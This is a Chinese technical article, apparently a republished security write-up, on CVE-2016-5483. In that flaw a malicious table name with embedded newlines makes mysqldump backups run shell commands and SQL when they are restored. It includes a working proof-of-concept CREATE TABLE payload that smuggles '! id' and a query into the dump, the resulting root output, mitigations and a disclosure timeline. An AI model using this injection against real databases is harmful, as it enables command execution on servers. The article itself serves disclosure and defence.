mysql 隐秘后门_【技术分享】CVE-2016-5483:利用mysqldump备份可生成后门

85658

预估稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

mysqldump是用来创建MySQL数据库逻辑备份的一个常用工具。它在默认配置下可以生成一个.sql文件,其中包含创建/删除表和插入数据等。在导入转储文件的时候,攻击者可以通过制造恶意表名来实现任意SQL语句查询和shell命令执行的目的。另一个与之相关的漏洞利用场景可以参考。

攻击场景

攻击者已经能够访问你的应用程序并且执行任意SQL查询(比如通过一个过时的Wordpress插件安装的后门)

攻击者拥有创建表的权限(这很常见,许多指南和教程上都建议给安装程序授予此权限,或者执行GRANT ALL PRIVILEGES ON wordpress.*命令来授予Wordpress用户所有的权限)

被攻击目标使用mysqldump进行定期的数据库备份

攻击者想要提升权限并获得更多的系统访问

攻击演示

首先,攻击者使用如下查询创建一个恶意的表:

CREATE TABLE `evil

! id

select user(),@@version/*`  (test text);

计划备份任务通常会在运行时为每一个表创建一个包含入口点的转储文件,格式类似于下面这样:

--

-- Table structure for table `tablename`

--

但是,用我们创建的恶意表名会让这个入口点变成这样:

--

-- Table structure for table `evil

! id

select user(),@@version/*`

--

正如你所看到的,表名中的新行让攻击者能够插入任意行数的MySQL命令。一旦这段攻击载荷被成功导入,它将做如下几件事:

如果是它被mysql命令行客户端导入的,那么将通过sh执行id命令

它将执行一个任意查询,可以输出导入它的MySQL用户名和服务器版本

现在,攻击者开始在数据库中删除一些数据,到处插入一些随机损坏的Unicode字符,使得数据库看上去遭到了破坏。当管理员发现时,立马开始行动,准备从最新的备份中恢复数据。一旦他进行恢复操作,攻击载荷就会被执行:

$ mysql test 

uid=0(root) gid=0(root) groups=0(root) 

user()    @@version

root@localhost    10.1.18-MariaDB 

正如你看到的一样,攻击者成功地通过强制管理员恢复数据库来执行了一些讨厌的命令。至于如何创造一个能给攻击者留下后门的有效载荷,这就作为练习留给读者。

缓解措施

当使用mysqldump时加上 –skip-comments参数

在任何可能的地方撤销创建表的权限(这是最有效的手段)

在计划备份中只转储表的数据而不是表的结构

使用一些其他替代工具来备份MySQL数据

受影响版本

85658

披露事记

2016.10.05:发现漏洞并向MariaDB和Oracle报告。

2016.10.06:从MariaDB收到回复,预计将在下个版本中修复。讨论了CVE指配。

2016.10.13:MariaDB确认将在版本5.5.53中修复该漏洞。

2016.10.18:收到CVE编号。

2017.03.09:没有收到来自Oracle Outside的自动回复。超过90天后公开披露漏洞。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值